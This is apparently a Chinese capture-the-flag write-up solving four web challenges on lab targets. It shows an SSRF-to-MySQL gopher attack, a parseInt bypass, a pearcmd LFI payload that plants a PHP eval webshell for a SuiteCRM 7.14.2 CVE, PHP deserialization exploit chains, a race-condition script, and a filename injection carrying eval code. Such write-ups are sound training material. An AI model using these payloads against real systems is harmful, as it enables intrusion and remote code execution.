目录
EasySignin
cool_index
SuiteCRM
web1234
法一、条件竞争(没成功)
法二、session反序列化
EasySignin
先随便注册个账号登录,然后拿bp抓包改密码(username改成admin)
然后admin / 1234567登录
康好康的图片功能可以打SSRF,不能直接读本地文件,比如/etc/paswd /proc/1/environ
gopher协议探测出3306端口,可以打mysql
直接gopherus来打
生成的payload _ 后的部分要url二次编码
base64解码拿到flag
cool_index
拿到附件,主要看这段逻辑
app.post("/article", (req, res) => { const token = req.cookies.token; if (token) { try { const decoded = jwt.verify(token, JWT_SECRET); let index = req.body.index; if (req.body.index < 0) { return res.status(400).json({ message: "你知道我要说什么" }); } if (decoded.subscription !== "premium" && index >= 7) { return res .status(403) .json({ message: "订阅高级会员以解锁" }); } index = parseInt(index); if (Number.isNaN(index) || index > articles.length - 1) { return res.status(400).json({ message: "你知道我要说什么" }); } return res.json(articles[index]); } catch (error) { res.clearCookie("token"); return res.status(403).json({ message: "重新登录罢" }); } } else { return res.status(403).json({ message: "未登录" }); }});
注意到index是在中间才进行parseInt处理的,所以可以进行一个特性的利用
可以自行对照一下各种判断,最后会输出第八篇文章,索引为7
SuiteCRM
Suite CRM v7.14.2 - RCE via LFI | Advisories | Fluid Attacks
直接复现CVE即可
先是切换到81端口,suitecrm/suitecrm登录
LFI肯定想到打pearcmd
/index.php//usr/local/lib/php/pearcmd.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/shell.php
先pearcmd写马
再包含写进去的马,命令执行拿flag
/index.php//tmp/shell.phpcmd=system('tac /f*');
web1234
登录很容易,就是附件里resetconf里的信息进行一波处理
然后?uname=admin&passwd=1q2w3e登录
法一、条件竞争(没成功)
大体思路就是先反序列化给record.php写入<?php error_reporting(0);
当record.php非空后,追加的内容就可以提交表单写入,也就是可以写马
在upload和fileput中间的那个时间访问index执行反序列化,可以打条件竞争
链子很简单
Admin#__Destruct -> Config.showconf() -> Log#__toString
反序列化exp:
<?phpclass Admin{ public $Config;}class Config{ public $uname; public $passwd; public $avatar; public $nickname; public $sex; public $mail; public $telnum;}class Log{ public $data;}$a=new Admin();$b=new Config();$c=new Log();$a->Config=$b;$b->show=$c;$c->data='log_start()';echo serialize($a);
删去最后一个括号绕过__wakeup
把序列化结果放进本地config文件中
写脚本,跑条件竞争
import requestsimport threadingurl1 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81/?uname=admin&passwd=1q2w3e'def upload(): while True: filename = "Config" with open('config', "rb") as f: files = {"avatar": (filename, f.read())} data = { "m": "edit", "nickname": "<?php phpinfo();?>", "sex": "1", "mail": "1", "telnum": "1", } response = requests.post(url=url1, files=files,data=data) print(response.status_code)url2 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81'url3 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81/record.php'def read(): while True: res2 = requests.get(url2) print(res2.status_code) res3 = requests.get(url3) if "php" in res3.text: print('success')# 创建多个上传线程upload_threads = [threading.Thread(target=upload) for _ in range(30)]# 创建多个读取线程read_threads = [threading.Thread(target=read) for _ in range(30)]# 启动上传线程for t in upload_threads: t.start()# 启动读取线程for t in read_threads: t.start()
没跑出来,做不下去了(buu靶机跑条件竞争好像有丶抽象)
法二、session反序列化
后来题目给了hint让打session反序列化(不是我寻思你附件也妹给session_start啊)
先backdoor来执行phpinfo()
用backdoor来执行session_start()
利用链触发Log的toString⽅法即可,但是触发点并不是在反序列化,而在序列化_sleep函数中
启动了session_start以后,就会找sess_XXX里的内容进行反序列化,反序列化前session内部也会触发序列化
Config#__sleep -> Config.showconf() -> Log#__toString
exp:
<?phpclass Admin{ public $Config;}class Config{ public $uname; public $passwd; public $avatar; public $nickname; public $sex; public $mail; public $telnum;}class Log{ public $data;}$exp=new Config();$sink=new Log();$sink->data="log_start()";$exp->avatar=$sink;echo serialize($exp);
sess_Z3r4y文件内容
aaa|O:6:"Config":7:{s:5:"uname";N;s:6:"passwd";N;s:6:"avatar";O:3:"Log":1:{s:4:"data";s:11:"log_start()";}s:8:"nickname";N;s:3:"sex";N;s:4:"mail";N;s:6:"telnum";N;}
在⽂件名处写马,⽂件名为 1';eval($_POST[1]);# 即可
注意删去Cookie,防止再次写入 <?php error_reporting(0);
访问/record.php,成功写马,命令执行拿flag